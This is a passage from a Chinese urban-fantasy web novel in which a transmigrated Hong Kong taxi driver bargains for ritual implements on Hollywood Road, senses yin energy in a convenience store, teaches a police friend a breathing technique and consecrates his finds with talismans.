“喂!大哥!你们异灵灵异组这么清闲的吗?大白天的警署没事干?又跑来找我聊天?”
谢潮看到古德出来,站直身体,无所谓地耸了耸肩:
“我也不知道怎么回事,这两天风平浪静,一个报警电话都没有。
我们那部门……嗯,你懂的,就我一個光杆司令,又不用打卡坐班,待在警署对着四面墙发霉啊?当然来找你比较
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有意思。”
他说得理直气壮,仿佛找古德打发时间是件天经地义的事。
古德一阵无语。
这家伙,有部门经费可以报销,自己又是孤家寡人一个,无牵无挂,现在自己也是唯一的朋友了,没事就来找他吹水。
是不是应该让他去认识一下他命中的女主角了,省的老来烦他。
古德一边心里吐槽,一边拉开车门,把东西放到后座。
想了想,又对谢潮说:“我准备去趟摩罗街(荷李活道古董街)转转。”
谢潮眼睛一亮,动作麻利地拉开副驾驶的门坐了进去。
还非常自觉地伸手“啪”一声把计价器拍了下来,然后系好安全带,一副整装待发的样子:“那还等什么?出发!”
古德无语地摇摇头,发动引擎,汇入车流,朝着港岛中西区的荷李活道驶去。
路上,谢潮好奇地问:
“德仔,你去古董街干嘛?淘宝贝?那地方水可深,假货比真货多。”
古德一边转动方向盘,一边回答:
“我现在修为算是入门了,想去找找有没有合用的法器,或者一些能用来制作法器的特殊材料。老东西、老料子,那边比较多。”
谢潮闻言更感兴趣了,扭过身子:
“法器?就像书里写的那种能飞起来斩妖除魔的飞剑?能放出金光的宝镜?
不过我师父说,现在那些东西基本都废了,除了极少数还有一丝灵性残留的,跟烧火棍没啥区别。你就算淘到真的,也没用啊?”
古德嘿嘿一笑,脸上带着几分神秘和自信:
“没有那么夸张,不过你就别管了,山人自有妙计。对了,你师父刚才把他以前用的罗盘给我了。”
“什么?师父把那个老罗盘给你了?”
谢潮吃了一惊,显然知道那罗盘对纸扎陈的意义。
“嗯。”古德点点头,“作为报酬,等从古董街回来,去我住的地方,我教你一门基础的修炼**。
能不能练出气感,练出点什么名堂,就看你自己的悟性和毅力了。”
“修炼**?!”
谢潮听到“修炼**”四个字,墨镜下的眼睛瞬间亮了起来!
他早就对古德那些神乎其神的手段好奇不已了!
他猛地一拍大腿:“真的?!说话算话!什么时候开始?现在就去你家吧,古董街有什么好逛的!”
古德没好气地瞥了他一眼:
“急什么!**又不会长腿跑了!先去摩罗街,我找东西要紧!说不定就能捡个漏呢?”
谢潮强行按捺住激动的心情,但坐在副驾驶上已经开始有点坐立不安,时不时搓搓手,显然对古德口中的**充满了无限的期待和向往。
古德余光看了他一眼,心里暗暗好笑。
其实,他之所以提到**,也是抱着试试的心态。毕竟系统传给他的法门,是否能被其他人学会,他自己也不确定。
而谢潮毕竟是“电影主角”,天生自带大气运,说不定真能练出点东西来。
古德心念一转,决定等回去后,就教谢潮呼吸法,看看他能否学会。
这不仅是个实验,更是为将来的布局。
这个世界太危险,他不可能一直单打独斗,还是需要有个靠谱的团队,有能并肩作战的伙伴。
第31章 荷李活道淘宝记
古德把车停在荷李活道附近一个还算宽敞的露天停车场。
一下车,一股混杂着老木头、旧纸张、淡淡霉味和香火气息的特殊味道就扑面而来。
这里就是香港有名的古董街,街道两旁鳞次栉比地开着各种古玩店、旧书店、字画店和宗教用品店。
狭窄的街道上,游客和本地淘货客摩肩接踵,各种语言的讨价还价声此起彼伏。
“就是这儿了。”古德深吸一口气,眼神里带着即将见到宝贝的兴奋。
谢潮跟在他身后,扶了扶墨镜,打量着周围的环境,嘀咕道:“这里能淘到法器?我看着怎么像是专门坑游客的地方……”
“外行看热闹,内行看门道。”古德笑了笑,路上他还把鉴宝技能给加到了LV1。
再结合昨晚几点的四个技能,古德自然能分辨出那些好那些坏。
两人汇入人流,开始一家店一家店地逛起来。
古德的目标很明确,主要看那些卖老旧宗教用品、杂项和木器的店铺。
走进一家光线昏暗、堆满各种铜器瓷器的老店,老板是个戴着圆眼镜的老头,正拿着鸡毛掸子打瞌睡。
古德目光扫过货架,落在一把挂在墙上的铜钱剑上。
剑身由一百零八枚康熙通宝用红线编织而成,但红线已经发黑发脆,铜钱也布满铜绿,灵气全无。
“老板,墙上那把铜钱剑怎么卖?”古德开口问道。
老板睁开惺忪睡眼,瞥了一眼,懒洋洋地伸出五根手指:“五百块,好东西啊,康熙年的铜钱,镇宅辟邪……”
古德直接打断他:“老板,红线都快断了,铜绿厚得都能刮下来炒菜了,还五百?五十块,当个装饰品买回去挂墙上。”
老板眼睛一瞪:“五十?后生仔,你开玩笑吧?这可是老物件!最少三百!”
“一百,最多一百。不行我就去别家看看,前面那家好像也有。”古德作势要走。
“哎哎哎,别走嘛!一百五!一百五拿走!亏本卖给你了!”老板连忙喊道。
古德停下脚步,摇摇头:“就一百。顺便……那个垫桌脚的木头疙瘩看着挺趁手,送我当搭头怎么样?”
他指了指柜台下面,一块黑乎乎、方方正正,大约20*10厘米大小的木块,正垫在一个摇摇晃晃的柜台腿下面。
老板看了一眼那脏兮兮的木块,挥挥手:“拿去拿去!破木头一块,不知道哪捡来的。一百就一百,给钱!”
古德付了钱,拿起那把破旧的铜钱剑,又弯腰把那个沉甸甸的黑木块捞了出来。
入手瞬间,他指尖微微一动,体内微弱的法力似乎感应到了什么,但极其细微。
谢潮在一旁看得直撇嘴,小声说:“一百块买这破烂?还捡块垫脚料?德仔,你是不是昨晚没睡醒?”
古德神秘地笑了笑,没解释,把东西塞进随身带的布袋里:“走着瞧。”
又逛了几家店,在一个专门卖旧家具和木器的铺子,古德看中了一把看起来有些年头的桃木剑。
剑身刻着模糊的符文,但木质干涩,毫无灵光。
“老板,这把桃木剑怎么卖?”古德拿起剑掂量了一下。
胖乎乎的老板正在泡功夫茶,头也不抬:“桃木剑啊,三千八。”
古德手一抖,差点把剑掉了:“多少?三千八?老板你抢钱啊?这木头都快开裂了!”
老板慢悠悠地喝了口茶:“后生仔,不懂不要乱说。这可是正宗的百年桃木心,你看这纹理,这包浆……”
“停停停!”古德赶紧打断,“老板,大家都是明白人。这要是百年桃木心,我把它生吃了。
这就是普通桃木,放了几年,做工还一般。三百块,行就行,不行拉倒。”
老板被噎了一下,放下茶杯,打量了一下古德:“嘿,你小子还挺懂行?五百!最低了!”
“三百五!再多我真走了!”
“四百!再低我不如留着自己劈柴烧!”
“三百八!图个吉利!成就成,不成我真走了!”古德坚持道。
老板盯着古德看了几秒,最终无奈地挥挥手:“行行行,算你狠!三百八拿走!现在的年轻人,砍价真厉害……”
古德笑嘻嘻地付了钱。谢潮在一旁看得目瞪口呆,低声说:“我靠,砍价还能这样砍?我以为买东西都是看标价……”
古德白了他一眼:“大哥,你是有编制的,吃皇粮的,当然不懂我们平民百姓的精打细算。”
最后,在一个角落里的杂货摊
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上,古德又看上了一个小巧的、三足双耳的青铜香炉,炉身带着点绿锈,看起来古色古香,同样没什么灵气波动。
一番唇枪舌战,最终以一百二十块港币成交。
逛了一下午,夕阳开始西下,给荷李活道铺上一层金色的余晖。
古德和谢潮走出古董街,回到停车场。
古德手里拎着布袋子,里面装着今天的战利品:一把破旧铜钱剑、一把老桃木剑、一个小青铜香炉,还有那个黑乎乎的木疙瘩。
他脸上忍不住露出满意的笑容,特别是看着那个不起眼的木块时,嘴角都快咧到耳根子了。
“逛了一下午,就买了这些破烂?还笑得这么开心?”
谢潮实在忍不住吐槽,“还有,你说的**呢?天都快黑了!”
古德心情极好,也不计较他的吐槽。
他拍了拍布袋,特别是那个木块:“阿潮,这你就不懂了。别的都是添头,这个……才是真正的宝贝!”
“就这黑炭头?”谢潮一脸不信。
“嘿嘿,这可是雷击枣木!”
古德压低声音,语气带着一丝得意,“看这色泽,这质感,绝对是上了年头的老枣树被天雷劈中后留下的心材!至阳至刚!
是制作法器的顶级材料!比那把铜钱剑值钱多了!那老板不识货,拿来垫桌脚,让我捡了个天大的漏!”
谢潮将信将疑地看了看那木块,实在看不出什么名堂:“真的假的……听起来很厉害的样子。”
“当然是真的!”古德宝贝似的把木块收好,“行了,今天收获巨大!走,回家!”
两人重新坐上出租车。
古德发动车子,看了一眼计价器,今天一天光陪着谢潮逛古董街了,没正经拉客,公里数也就赚了几十点。
但他一点也不心疼。
跟今天捡的漏比起来,那点公里数简直不值一提!
“坐稳了!”
古德心情愉悦,稍微踩重了些油门,红色的皇冠出租车灵活地驶出停车场,汇入傍晚的车流,朝着阴阳路的方向疾驰而去。
他现在满脑子都是赶紧回家,试试用新学的“玄门先天咒炼”法门,看能不能给这几件“破烂”开开光,特别是那块雷击枣木,想想就让人激动!
第32章 便利店里的熟面孔
车子驶入阴阳路路段时,天色已经完全暗了下来。
道路两旁老旧的居民楼亮起星星点点的灯火,与远处繁华商业区的霓虹璀璨相比,这里稍显冷清。
古德开着车,习惯性地扫视着路边的街景。
当车子经过一个熟悉的拐角时,他突然轻咦了一声,下意识地踩了下刹车,让车速慢了下来。
“怎么了?”副驾驶上的谢潮正无聊地看着窗外,被这突然的减速晃了一下。
古德看着那个位置说了一句没事。
古德轻咦是因为那里原本是一家空置了许久的铺面,玻璃门上长期贴着“旺铺招租”的红纸,字迹都褪色了。
但此刻,那红纸不见了,取而代之的是一块崭新的、亮着白色灯光的招牌——“便利佳”。
谢潮顺着古德指的方向看去。
那店铺的玻璃窗擦得透亮,里面灯火通明,货架整齐,俨然是一家新开张的便利店。
古德看着那家便利店,心里琢磨着。
他家冰箱确实空了不少,啤酒、汽水都快断货了,零食也消耗殆尽。
既然顺路,正好补充点库存。
“走,下去买点喝的吃的。”
古德说着,就把车靠边停在了便利店门口的空位上。
两人下车,推开便利店明亮的玻璃门,门上的感应器发出“叮咚”一声清脆的电子音。
店内装修得很新,是典型的九十年代便利店风格。
白色的荧光灯管照亮了整个空间,空气中弥漫着关东煮、茶叶蛋和烤肠的混合香气。
一排排银色的货架上分门别类地摆放着各种零食、泡面、饮料、日用品。
冰柜嗡嗡作响,里面塞满了各式各样的冷饮和啤酒。
收银台旁边还放着两个电饭煲,里面热着咖喱鱼蛋和牛肉丸。
虽然地段偏了点,但店里收拾得干干净净,商品琳琅满目,给人一种很舒服的感觉。
古德推着一辆小小的购物车,开始往里面扔东西:一打罐装啤酒、几瓶大号的可乐和橙汁、各种口味的薯片、巧克力棒、泡面、火腿肠……很快就堆了半车。
谢潮对零食兴趣不大,自己溜达到冰柜前拿了瓶冰镇汽水,靠在一边等着古德。
就在古德弯腰去拿最下层货架上的矿泉水时,他的目光无意中扫过了便利店最里面的一个角落。
那里有一扇普通的白色木门,门上贴着一张打印的A4纸,写着“仓库重地,闲人免进”。
古德的瞳孔微微一缩。
自从体内炼出法力后,他的阴阳眼似乎也发生了微妙的变化。
此刻,在他眼中,那扇普通的仓库门缝里,正丝丝缕缕地向外渗透着一种极其淡薄、却真实存在的灰黑色气流!
这气流如同冰冷的烟尘,缓慢地飘散出来,与店内温暖的空气和食物香气格格不入,带着一种若有若无的阴森感。
“阴气?”
古德心里升起一丝疑惑。
“这新开的便利店里,怎么会有阴气从仓库里冒出来?难道里面藏着个鬼?或者……连着什么不干净的地方?”
他停下动作,微微眯起眼睛,这感觉依然让人不舒服。
“喂,德仔,看什么呢?发现宝藏了?”
谢潮拿着汽水走了过来,看到古德盯着那扇仓库门发愣,伸手在他眼前晃了晃,“那不就是个破仓库门吗?后面是墙吧?有什么好看的?”
古德回过神来,收敛起眼中的异色,随口敷衍道:
“哦,没什么,看看他们的仓库大不大,以后批发饮料能不能便宜点。”
他暂时不打算告诉谢潮,毕竟谢潮的阴阳眼还没进化到能直接看见阴气显形的程度,说了他也未必能理解。
两人推着购物车来到收银台。
收银台后面,站着一个穿着便利店绿色围裙的年轻男人,正低着头无聊地按着计算器。
听到有人过来,他抬起头,懒洋洋地说:“欢迎光临,麻烦把东西放上来。”
当看到这个收银员的脸时,古德眼神闪过一丝诧异!
这张脸,他太熟悉了!
棱角分明,活脱脱就是跟前世那个演技派明星吴真宇的脸有七八分像!
虽然年轻不少,穿着普通的工装。
“又一个……”古德心里默默念叨。
他已经快习惯了,在这个港综世界里,撞见明星脸大概率意味着附近有剧情,或者……有鬼!
他几乎可以确定,这个便利店,特别是那个冒阴气的仓库,肯定有问题!
至于具体是哪部电影里的情节,他一时间还真对不上号。
吴真宇演过的香江电影也不少,谁知道这是哪部古怪剧情的前奏?
说不定明天去铜锣湾还能碰到演靓坤的他呢!
“先生,一共一百八十七块五**。”
跟吴真宇很像收银员动作麻利地扫完码,报出价格,语气平淡,带着点打工人的疲惫。
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>古德从口袋里掏出钱包付钱。
在接过找零的时候,他顺势将一张早就准备好的、写着自家Call机号码的纸条塞到了收银员手里。
收银员愣了一下,看着手里的纸条,又疑惑地看向古德。
古德脸色没有多少表情,很自然的说了一句:
“哥们,看你是新来的。在这条街上开店……嗯,可能会遇到些比较特别的事情。
如果遇到什么你无法理解、或者觉得不对劲的怪事,可以打这个号码Call我。不过事先说明,我是收费的,价格公道。”
为什么会留纸条,一来赚点钱,二来他想试试法器的威力。
不过法器还需要回家开光后才行。
那收银员看着古德,眼神里的疑惑更深了,甚至还带着点“这人有病吧”的意味。
他张了张嘴,似乎想说什么,最后还是没开口,只是含糊地“哦”了一声。
古德也不多解释,拎起两大袋东西,对谢潮使了个眼色,两人走出了便利店。
回到车上,谢潮终于忍不住问道:“德仔,你刚才跟那收银员神神秘秘的说什么呢?还塞纸条?你看上人家了?口味挺独特啊!”
古德没好气地发动车子:“滚蛋!我是看他印堂发暗,最近可能走霉运,好心给他留个后路。走吧,回家教你**!”
“你又会看相了?帮我看看我最近有没有桃花运。”
“......”
“......”
声音渐渐远去,车子驶离了“便利佳”。
收银台后面,收银员拿着那张纸条,看着古德的车尾灯消失在夜色中,皱着眉头嘟囔了一句:
“神经病吧……开出租车开傻了?”
他本来随手就想把纸条揉成一团扔进旁边的垃圾桶。
但就在手指即将松开的那一刻,他不知怎么的,突然想起了自己最近睡在仓库时候做的一个梦。
他的手顿住了。
犹豫了几秒,他最终还是鬼使神差地把那张皱巴巴的纸条捋平,塞进了自己围裙前面的口袋里。
“反正也不占地方……”他自言自语道,然后摇摇头,继续低头无聊地按着计算器,仿佛什么都没发生过。
只是那眼神深处,多了一丝不易察觉的疑虑和不安。
便利店明亮的灯光下,一切如常,只有那扇贴着“仓库重地”的门,静静地立在角落,门缝下的阴影,似乎比别处更浓重一些。
第33章 教谢潮呼吸法
回到阴阳路的住所,古德掏出钥匙打开门。
谢潮跟在他身后,好奇地打量着这个不算大但格外整洁的套间。
房子大概九十平米左右,两室一厅的格局。
客厅不大,但收拾得井井有条。
旧沙发前的玻璃茶几擦得锃亮,上面只放了一个烟灰缸和一份几天前的报纸。
地上铺着干净的米色地毯,墙壁上简单贴了些风景画,整个环境给人一种简洁舒适的感觉,完全不像某些单身汉的狗窝。
“啧,没想到你还挺爱干净。”
谢潮有点意外地评价道,他想象中的出租车司机住处应该更……凌乱随性一些。
古德把两大袋从便利店买来的东西放在厨房餐桌上,开始往冰箱里归类存放啤酒、饮料和零食。
“一个人住,乱七八糟的看着心烦。随便坐,别客气,当自己家一样。”他头也不回地说。
整理完东西,古德看了看墙上的挂钟,已经快晚上八点了。
他揉了揉肚子,问谢潮:“你会烧饭吗?”
谢潮正研究古德摆在电视柜上的几个汽车模型,闻言摇了摇头,很理所当然地说:“不会。以前都是吃警署食堂,或者泡面、外卖。”
古德啧了一声,摇了摇头,用一种略带怀念的语气说:“我认识一个跟你长得挺像的人,他做西餐可是一把好手,尤其是惠灵顿牛排,那叫一个绝。”
谢潮顿时来了兴趣,转过身:“真的?跟我很像?他在哪儿?改天介绍认识一下?”
古德笑了笑,眼神有些飘忽:“他啊……不在这个世界了。”
他说的是前世那位明星谢大厨。
谢潮愣了一下,随即脸上露出一丝遗憾,理解成了那个人已经去世了,便识趣地没有再问。
古德也没多解释,系上围裙,走向厨房:“这个点了,懒得弄复杂的。我下两碗鸡蛋面,吃不吃?”
谢潮打开一罐刚买的汽水,灌了一口,点点头:“吃!饿**。对了,我不吃葱花。”
“要求还挺多。”
古德嘀咕了一句,但还是从冰箱里拿出鸡蛋、青菜和挂面,动作麻利地开火、烧水、煎蛋、下面。
没多久,两碗热气腾腾、卧着金黄煎蛋和翠绿青菜的汤面就端上了桌。
“喏,你的,没葱花。”古德把其中一碗推到谢潮面前。
两人稀里呼噜地把面吃完,连汤都喝得干干净净。
吃饱喝足,谢潮主动把碗筷收拾进厨房水池。
古德擦干净桌子,神色变得认真起来。
他走到客厅中央,示意谢潮也过来坐下。
“阿潮,坐好。我现在要教你的,是一门道家的基础呼吸吐纳法门。”
古德的声音不高,但带着一种难得的郑重,“我得事先说明,据我所知,在这个世界上,这门**目前应该只有我一个人会。”
谢潮一听,脸色立刻变得无比严肃,他猛地站起身,打断了古德的话:“德仔,等等!”
他深吸一口气,举起右手,目光灼灼地看着古德,一字一句地说道:
“我,谢潮,在此对天发誓!今夜所学**,只入我耳,只存我心,绝不会传授给任何第三人!
如有违背此誓,就让我……就让我永远孤身一人,永世不得解脱!”
这个誓言,对别人来说或许只是普通的毒誓,但对背负“天煞孤星”命格、极度渴望羁绊却又害怕连累他人的谢潮来说,简直比让他**还要严重!
古德看着他眼中那份近乎偏执的认真和决绝,心里也有些触动。
他点了点头,语气缓和了一些:“倒也不用发这么毒的誓……其实也没那么严重,你能不能练出点名堂,还两说呢。”
经过这些天的相处,加上对电影角色的了解,古德对谢潮的人品还是比较放心的。
而且,这LV2的基础呼吸法在他未来的规划里,确实只是打基础的玩意儿。
等他攒够点数把呼吸法点到LV3后,他就不准备继续加点了,到时候更换其他更高级的修炼法门后,这基础法门就算流传出去,影响也不大。
“好了,静心,凝神。”
古德示意谢潮在沙发上盘膝坐好,他自己也拉过一张凳子坐在对面。
“这门呼吸法,看似简单,只是调整一呼一吸,实则内藏玄机。”
古德开始讲解,声音平稳而清晰,带着一种引导性,“它讲究的是‘深、长、细、匀’四个字。”
“首先,舌尖轻轻抵住上颚,这叫‘搭鹊桥’,是连接任督二脉的关键。”
他做着示范
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,“吸气时,意想天地间一缕温和的气息,从你的眉心缓缓吸入,沿着脊柱下沉,最终汇入小腹丹田之处。这个过程要慢,要均匀,仿佛细流入海,不可急躁。”
“呼气时,则意想体内的浊气、废气,从丹田升起,顺着双腿,从脚底的涌泉穴缓缓排出体外。一吸一呼,就是一个完整的周天循环。”
古德仔细地讲解着每一个细节:
“注意呼吸的节奏和停顿。吸气默数七下,吸满后,屏住呼吸,意守丹田,默数三下,这叫闭气养丹。
然后再缓缓呼气,同样默数七下,呼尽后,再次屏息三下,感受丹田的空灵,这叫‘吐故纳新’。如此循环往复……”
他一边说,一边观察着谢潮的状态。
谢潮学得很认真,努力模仿着古德的呼吸节奏,但一开始显得有些僵硬和刻意,不是吸气太猛就是屏息时间不对。
“放松,不要用蛮力。用意不用力,引导为主。”古德出声纠正,“感受气息在体内的流动,而不是单纯地鼓动胸腔。”
渐渐地,在古德的耐心指导下,谢潮的呼吸开始变得平稳、悠长起来。
他的眉头微微舒展,身体也逐渐放松,似乎慢慢摸到了一点门道,进入了那种玄而又玄的渐入佳境的状态。
古德在一旁看着,眉头微微一挑,心里有些惊讶:
“咦?没想到这小子悟性还不错?看来他命格特殊并非全是坏事,至少在修炼这方面,似乎有点天赋?”
看到谢潮已经能够自行维持呼吸节奏,古德便不再出声打扰。
修炼之初的入静状态很难得,需要他自己去体会和把握。
他轻手轻脚地站起身,走进了旁边被他当作工作室的小书房。
书房的桌子上,正摆放着他今天从古董街淘来的几件宝贝。
一把红线发黑的铜钱剑、一柄木质干涩的桃木剑、纸扎陈送的那个老旧罗盘,还有那块黑乎乎的雷击枣木。
“雷击木暂时不动,需要好好规划一下做什么。”
古德将那块至宝般的木头小心收到一旁。
他的目光落在另外三件东西上。
“今晚,就先试试手,看能不能把你们这几个老家伙唤醒!”
他深吸一口气,眼神变得专注起来。
第34章 重返“青春”的法器
古德催动体内新生的法力开始缓缓运转。
他没有搞什么花里胡哨的排场,但动作却一丝不苟,带着一种独特的韵律和敬畏。
首先,他取出一张崭新的黄表纸,研磨朱砂,屏息凝神,笔走龙蛇,画了一张“净天地神符”。
这张符是玄门先天咒炼里带着的,算是省了一笔专门去加点的符箓。
此符并非用于攻击,而是净化法器本身可能沾染的污秽和陈腐之气,为接下来的启灵创造一个洁净的环境。
符成之后,他拿起那把铜钱剑,用符纸仔细地、一寸寸地擦拭过每一枚铜钱和每一段红线。
口中低声念诵着咒炼法门中的净器咒:“天地自然,秽气分散……八方威神,使我自然……皈依大道,元亨利贞……”
随着他的擦拭和咒语,那符纸上微弱的灵光似乎渗入了铜钱剑中,剑身上积年的铜绿和污垢仿佛被无形之力化去少许,显露出一点原本的金属光泽。
那原本脆弱发黑的红线,也似乎变得坚韧了一丝。
接着是桃木剑。
同样用符纸擦拭剑身,特别是那些模糊的符文凹槽,念诵开光咒:“开光开光,开尔灵光……点眼眼明,点耳耳聪……开尔灵光,显现威灵!”
最后是那个罗盘。
古德的动作更加小心,用符纸轻轻拂过天池、内盘、外盘的每一个刻度,念诵安神咒:“安神定魄,守尔精元……方位分明,指引不迷……”
做完这一切,他额头上已经微微见汗。
这只是初步的净化与安抚,相当于给这些沉睡已久的法器“洗个澡”、“按个摩”,唤醒它们最基础的灵性感知。
接下来才是关键。
注入法力和赋予核心指令。
古德将三件法器在桌上摆成正三角形。
他自己则站在桌案前,手掐三清指,体内那团温热的法力开始加速流转,汇聚于指尖。
他先指向铜钱剑,法力微吐,注入一丝极细的法力流,同时意念集中,将“破邪”、“镇煞”的意念烙印其中:
“乾罗答那,洞罡太玄……斩妖缚邪,杀鬼万千……敕!”
然后指向桃木剑,同样注入法力,赋予“诛邪”、“缚魅”的意念:
“魔王束手,侍卫我轩……凶秽消散,道炁长存……敕!”
最后指向罗盘,注入法力,赋予“辨气”、“指煞”、“定方位”的意念:
“天地定位,秽炁分散……八卦放光,显汝真形……敕!”
每一次注入和敕令,都消耗着他不少的法力和精神。
当最后对罗盘的敕令完成时,古德感觉身体微微晃了一下,连忙扶住桌子才站稳。
他定睛看向那三件法器。
只见那铜钱剑上,几枚核心的铜钱似乎极其微弱地闪烁了一下,几乎难以察觉。
桃木剑的剑身,那些模糊的符文凹槽内,仿佛有流光一闪而逝。
而那个老罗盘的天池中,那根原本静止的指针,极其轻微地颤抖了一下,仿佛被微风吹动,但很快就恢复了平静。
变化极其细微,若非古德眼力过人且全心关注,几乎会以为是错觉。
但古德脸上却露出了欣喜的笑容!
“成功了!虽然灵性微弱得可怜,像是风中残烛,但确实被激活了!不再是死物了!”
这证明了他的想法是完全可行的!
玄门先天咒炼配合他独有的法力,确实能在这个末法时代,让这些沉寂的法器重新焕发生机!
他不敢怠慢,立刻又拿出三张“聚灵符”,这也是玄门先天咒炼自带符箓,能微弱汇聚周围能量。
古德将符箓分别贴在三件法器上,用自己的法力作为引子,缓缓催动符箓,小心翼翼地滋养和引导那刚刚诞生的、脆弱无比的灵性雏形。
这个过程需要耐心和时间,急不得。
古德收敛心神,盘膝坐在桌前,一边维持着法力的微弱输出,一边自己也进入呼吸法的修炼状态,恢复着消耗的法力和精神。
书房里安静下来,只有淡淡的朱砂味、檀香味以及一种难以言喻的、微弱的能量场在缓缓流转。
随着古德法力的持续输出,他能清晰地感受到,丹田中那团法力,正在以肉眼可见的速度消耗、减少。
时间一点点过去,当最后一丝法力也被榨干,注入到那方老罗盘之中后,古德感觉身体微微一空,一种淡淡的虚弱感和精神上的疲惫涌了上来。
丹田处变得空荡荡的,那团温热的“小太阳”仿佛熄灭了,只剩下一点微弱的余烬。
他缓缓收回手,长长地舒了一口气,额头上已经布满了细密的汗珠。
“唉……十一丝的法力,用起来真不经用啊。”
古德无奈地摇了摇头,自言自语道,“温养这点时间就耗光了。看来以后真不能偷懒了,得努力跑车,多赚公里点数
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才行!”
需要用到点数的地方实在太多了!
提升技能等级要点数,加点法力属性更是吞金兽,现在还要分心温养法器……
哪一样都离不开宝贵的公里点数!
“不仅要赚公里数,还得想办法赚钱!”
古德揉了揉眉心,“这地方还是太小了,以后要是法器多了,或者需要布置个什么阵法、搞个法坛之类的,根本施展不开。
得换个宽敞点的地方,最好是独门独院的别墅,清净又方便。”
他开始琢磨着,是不是该主动留意一下,有没有那种被鬼缠上、又舍得花钱的肥羊客户?
做一单大的,说不定别墅的钱就出来了。
不过,经过他今晚这一番不惜工本的操作,那三件法器确实发生了肉眼可见的变化。
那把铜钱剑上的铜绿似乎淡化了许多,几枚核心的铜钱隐约透出一种温润的光泽,不再是死气沉沉的晦暗。
那柄桃木剑的木质也显得润泽了一些,剑身上那些模糊的符文凹槽里,仿佛有极其微弱的能量在缓缓流动。
变化最大的是那个罗盘,天池中的指针不再是完全静止,而是极其轻微地、自发地颤动着,仿佛在感应着周围环境中极其微弱的气场变化。
虽然它们散发的灵性依旧微弱,像是风中残烛,但确确实实被点燃了!
不再是冰冷的死物!
古德能感觉到,只要自己坚持每天用法力和符箓温养它们,假以时日,这些老伙计绝对能恢复到它们曾经的巅峰状态,甚至……更强!
“值了!”
古德满意地笑了笑,小心地将三件法器在书桌上摆放整齐,让它们能更好地吸收聚灵符汇聚来的微弱能量。
他轻手轻脚地走出书房,来到客厅。
只见谢潮依旧保持着盘膝坐在沙发上的姿势,双眼微闭,呼吸悠长平稳,竟然还在练习呼吸法!
看那样子,似乎已经入了门,找到了气感,进入了物我两忘的修炼状态。
“啧啧,这家伙……天赋还真不错?难道真是主角命格加持?”
古德心里有点小惊讶,也有点小欣慰。
有个能一起进步的伙伴,总比一个人摸索强。
他没打扰谢潮,自己回到卧室,也盘膝坐在床上,开始运转基础呼吸法,恢复消耗一空的法力。
一夜无话。
只有均匀的呼吸声在寂静的房间里轻轻回荡。
第35章 绝对不是因为心虚
第二天早上,天刚蒙蒙亮,古德缓缓睁开了眼睛。
他一整晚都没有躺下睡觉,一直在打坐练功。
感受了一下丹田,消耗的法力已经恢复得七七八八,重新凝聚成了一团温热的气流,缓缓旋转。
精神上虽然没有睡眠后的那种彻底放松感,但也不觉得特别困倦疲惫。
LV2的呼吸法在恢复法力和缓解精神疲劳方面,效果确实显著。
“不过也不能经常这样搞……”
古德活动了一下有些僵硬的脖颈,“修炼终究不能完全替代深度睡眠,长期下去精神会透支的。以后还是得保证基本的睡眠时间。”
他推开卧室门,走到客厅。
一眼就看到谢潮四仰八叉地躺在沙发上,睡得正香,嘴巴微微张着,甚至还发出一点轻微的鼾声。
那头原本还算有型的头发,此刻乱得跟鸡窝一样,哪还有半点冷酷帅哥的形象?
古德走过去,毫不客气地推了推他:“喂!醒醒!天亮了!还睡?你不用回警署打卡上班啊?”
谢潮被推醒,迷迷糊糊地睁开眼,看到是古德,先是茫然地眨了眨眼,然后猛地坐起身,脸上瞬间露出兴奋的神色,一把抓住古德的胳膊:
“德仔!德仔!我好像……我好像成功了!昨晚练到后来,我感觉到小肚子那里,有一点点……一点点暖洋洋的气流!虽然很弱,但真的感觉到了!那不是我的错觉吧?!”
古德看着他这副兴奋得像个拿到新玩具的小孩子的模样,眉头一挑,故意泼冷水道:
“才感受到一点气流就这么开心?瞧你这点出息!我刚练这呼吸法的时候,可是一晚上就直接炼出法力了!”
谢潮闻言,兴奋的表情一僵,瞪大了眼睛,狐疑地看着古德:
“真的假的?这么厉害?可是……我记得我第一次在巷子里遇到你的时候,你对付那三个影魇,好像……没用什么法力啊?反而有点……嗯……手忙脚乱?”
他努力回忆着当时的细节,试图找出古德话里的破绽。
古德面色顿时一僵,有种装逼被当场拆穿的尴尬。
他干咳两声,强行维持镇定,一本正经地胡说八道:“你懂什么!在那之前我刚在别的地方超度了两个更难缠的影魇,法力消耗过大!
小孩子家家的,一点眼力见都没有!赶紧起来洗漱,我还要出车赚钱呢!”
他赶紧转移话题,掩饰自己的恼羞成怒。
谢潮神经比较大条,也没多想,只是挠了挠他那头乱发,嘟囔着:
“哦……原来法力这么不经用啊?那我这一点点气流,要练到猴年马月才能变成法力……”
古德不再理他,走进卫生间快速洗漱了一下,然后拿起那个装着法器和新买材料的帆布挎包,准备出门。
谢潮也跟了出来,顶着一头乱糟糟的头发,睡眼惺忪地说:“德仔,送我一程呗,回我家换身衣服。”
古德面无表情地拉开门:“自己坐巴士或者小巴,我很忙,要赶早高峰赚钱。”
谢潮立刻接口,语气熟练无比:“我打表!按里程付钱!绝不赖账!”
古德脚步瞬间停住,脸上立刻冰雪消融,绽放出一个无比热情真诚的笑容,侧身做出一个“请”的手势:
“没问题!谢sir!马上出发!保证以最快的速度送您回家!请问您家地址是?”
谢潮看着他这变脸速度,忍不住翻了个大大的白眼,一边往外走一边吐槽:“小气又贪财的男人……”
“彼此彼此,蹭车蹭饭的谢sir。”古德锁好门,笑嘻嘻地跟了上去。
清晨的阳光洒在阴阳路的街道上,新的一天,就在这熟悉的互怼声中开始了。
红色的皇冠出租车驶出路口,汇入渐渐繁忙起来的车流,计价器再次发出了熟悉的“哒哒”声。
把谢潮送到他家楼下,这家伙丢下一句“拜拜德仔!电话联系!”就急匆匆地冲上了楼,估计是急着回去洗漱换衣服,恢复他那个冷酷警官的形象。
古德没立刻离开。
他把车停在路边,熄了火,从口袋里摸出烟盒,抖出一支万宝路叼在嘴上,“啪”一声用打火机点燃。
他靠在车门上,深吸了一口烟,缓缓吐出烟雾,目光却不由自主地打量着谢潮住的这栋居民楼。
看着看着,他的眉头就微微皱了起来。
刚点到LV2的“华夏风水研究”知识自动在脑海里浮现。
这栋楼……风水相当不妙啊!
典型的“路冲”格局!
只见楼前正对着一条笔直的马路,车流虽然不算特别繁忙,但车辆行驶过来,车头灯和那股“冲势”几乎是直直地对着大楼门口!
这在风水上叫做“箭煞”,主破财、伤病、是非不断。
而且这栋楼的位置正好在一个丁字路口的顶端,所有从那条直路过来的气,都毫无缓冲地直接撞在这栋楼上,导致气场极其不稳定,煞气凝聚不散。
